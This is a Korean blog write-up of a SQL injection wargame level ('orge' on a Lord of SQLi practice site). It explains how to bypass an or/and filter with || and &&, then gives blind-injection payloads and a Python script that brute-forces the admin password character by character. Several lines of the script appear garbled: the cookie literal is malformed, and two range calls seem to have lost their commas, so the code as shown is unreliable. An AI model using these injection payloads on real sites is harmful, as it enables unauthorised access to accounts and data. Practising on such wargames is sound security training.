DoR@Hee 2019. 3. 20. 17:10


문제 화면

or and 입력 시 hehe가 나온고

쿼리 결과값에 따라 id 와 pw에 따른 값 을 나타낸다.

$result['pw'] 와 $_GET['pw']에 값이 같을 경우 solve()


결론적으로


1. or, and를 필터링하고있다 > || &&를 이용 우회한다.

2. admin pw의 길이와 값을 알아야한다. 




or 구문을 이용해서 쿼리문이 항상 참이 되게 한다.




admin에 pw에 길이를 알기위해서 length(pw) =1을 입력 했을 때 false



admin에 pw에 길이를 알기위해서 length(pw) =8을 입력 했을 때 True


즉 admin pw 의 길이는 8자리 



정확한 admin pw에 값을 알기위해서 ascii(substr(pw,1,1))=54-- 을 입력 했을 때 참


이러한 정보를 이용해서 파이썬 코드를 작성하면


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
 
cookies = {'PHPSESSID''o5b1knp9c626c0qqbimmnhuuk4'}
 
for lengths in range(130):
    length = 0
    url1 = "https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php"
    url = url1 + "?pw=1%27%20||%20id=%27admin%27%20%26%26%20length(pw)={0}--%20".format(lengths)
    res = requests.get(url, cookies=cookies)
    if "<h2>Hello admin</h2>" in res.text:
        print("=====================================")
        print("길이는{0}".format(lengths))
        print("=====================================\n")
        length = lengths
        break
    else:
        continue
 
for i in range(1, length+1):
    for j in range(33127):
        result = []
        url = "https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=1%27%20||%20id=%27admin%27%20%26%26%20ascii(substr(pw,{0},1))={1}--%20".format(i, j)
        res = requests.get(url, cookies=cookies)
        if "<h2>Hello admin</h2>" in res.text:
            print("{0}".format(chr(j)), end='')
            result.append(chr(j))
            break
cs